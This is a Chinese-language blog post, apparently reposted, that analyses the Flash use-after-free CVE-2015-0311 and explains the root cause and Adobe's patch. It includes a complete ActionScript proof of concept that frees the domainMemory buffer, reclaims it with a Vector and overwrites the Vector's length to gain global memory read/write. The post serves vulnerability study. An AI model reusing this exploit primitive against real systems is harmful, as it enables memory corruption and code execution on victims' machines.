码迷,mamicode.com
首页 > 其他好文 > 详细

Anslysis Of CVE-2015-0311

时间:2015-02-12 21:15:55      阅读:455      评论:0      收藏:0      [点我收藏+]

标签:

最近Flash 0day各种爆,抽空分析了一个手头已经有的CVE-2015-0311样本,作为flash分析的一个学习笔记,毕竟这是个flash的UAF漏洞,以前在IE里面分析比较多,在flash上却没怎么遇到过此类漏洞,因此有必要学习下在flash没有符号的情况下UAF怎么分析。
样本来源于https://malwr.com/analysis/YTgzNDAyZTg0MDI3NDZhMThmZTE4N2YxZTVkMjBhMTc/
1.反混淆
反混淆方法具体可以查看前面的文章http://www.cnblogs.com/Lamboy/p/4278066.html

这里直接略过。
2.POC
参考趋势科技的分析报告,构造的poc代码如下:

package 
{
    import flash.display.MovieClip;
    import flash.utils.ByteArray;
    import flash.utils.Endian;
    import flash.system.ApplicationDomain;
    import flash.utils.*;
    import flash.display.*;
    import avm2.intrinsics.memory.*;

    public final class poc extends MovieClip 
    {
        public static function ByteArrayWriter(param1:ByteArray, param2:int) : void
        {
         param1.position = 0;
         var c:uint = 0;
         while(c < param1.length / 4)
         {
            param1.writeInt(param2);
            c++;
         }
         param1.position = 0;
        
        }
        public function poc()
        {
            var test_b:ByteArray=new ByteArray();
            test_b.endian = Endian.LITTLE_ENDIAN;
            test_b.position=0;
            var a:uint = 0;
            var b:uint=0xfeedface;
            while(true)
            {
                if(a >= 8192/4)
                {
                    break;
                }
                test_b.writeUnsignedInt(b + a);
                a++;
            }
            test_b.compress();
            var c:uint=512;
            test_b.position=c;
            while(c<test_b.length)
            {
                test_b.writeByte(c);   //modify compressed ByteArray
                c++;
            }
            ApplicationDomain.currentDomain.domainMemory = test_b;   //set domainMemory
            var x:uint=0x11223344;
            var y:uint=0xaabbccdd;
            x=x+y;
            try
            {
                test_b.uncompress();
            }
            catch(error:Error)
            {
                trace("exception");
            };
            var test_c:Vector.<uint>=new Vector.<uint>(0x7f8);
            for(var i:uint=0;i<0x7f8;i+=1)
            {
                test_c[i]=i;
            }
            x=x+li32(0);//read vector length
            si32(0x7fffffff,0x0);//modify vector length
            x=test_c[0x40000000];
        }
    }
}

在AIR SDK下编译通过。


3.漏洞成因

根据趋势科技的Blog描述,这是一个DomainMemory产生的UAF,主要在DomainMemory指向的ByteArray在进行Compress和Uncompress时,对内存的处理错误导致。
首先创建了一个名为test_b,大小为0×2000的ByteArray,然后初始化ByteArray的内容如下:

技术分享
紧接着将ByteArray进行压缩,压缩时会创建新的Buffer来保存压缩后的数据:
技术分享
之后代码会修改ByteArray位于0×200之后的数据:
技术分享
将ByteArray设置为DomainMemory,设置完成后在DomainMemory中保存该ByteArray的buffer:

技术分享

其中0xaab8000为DomainMemory指向的Buffer,之后紧跟着DomainMemory的大小。
此时一切都没有问题,但是接下来的代码会将该ByteArray进行解压缩,你是否还记得我们前面对ByteArray的0×200之后的数据进行了修改?
这样在用同样的算法解压缩时就会出现问题,导致解压缩失败,而avm在解压缩时通过一个叫做Grower的类来处理解压缩,该类会动态分配解压缩的
Buffer大小,这样在解压缩时先分配足够的空间并解压数据,发现解压失败则释放分配的ByteArray,不过由于这个数组比较特殊,因为他是个DomainMemory类型,这样在解压缩时先将分配的buffer更新到DomainMemory结构中,但是由于解压失败,这块buffer最终被释放了,但是DomainMemory中仍然保留了这块buffer的指针,因此在try catch捕获到解压的异常后会继续执行,但DomainMemory却指向一个被Free掉的内存:

技术分享

此时的DomainMemory中指向的Buffer已经是一片释放的内容了。

接下来通过Vector来分配这块内存并填充数据:

技术分享

上图可以看到,DomainMemory的buffer指向了一个Vector结构,这样就可以通过DomainMemory的专属指令来读取和修改vector大小了:

技术分享

技术分享

修改后的Vector:

技术分享

这样就可以对内存进行全局的读写了。

4.补丁对比

Adobe在flash版本为16.0.0.296中修复了此漏洞,修复后对ByteArray进行unmpress失败后,并没有将新的Buffer更新到DomainMemory的Buffer中:

技术分享

5.参考

http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0311-flash-zero-day-vulnerability/

 

Anslysis Of CVE-2015-0311

标签:

原文地址:http://www.cnblogs.com/Lamboy/p/4288840.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!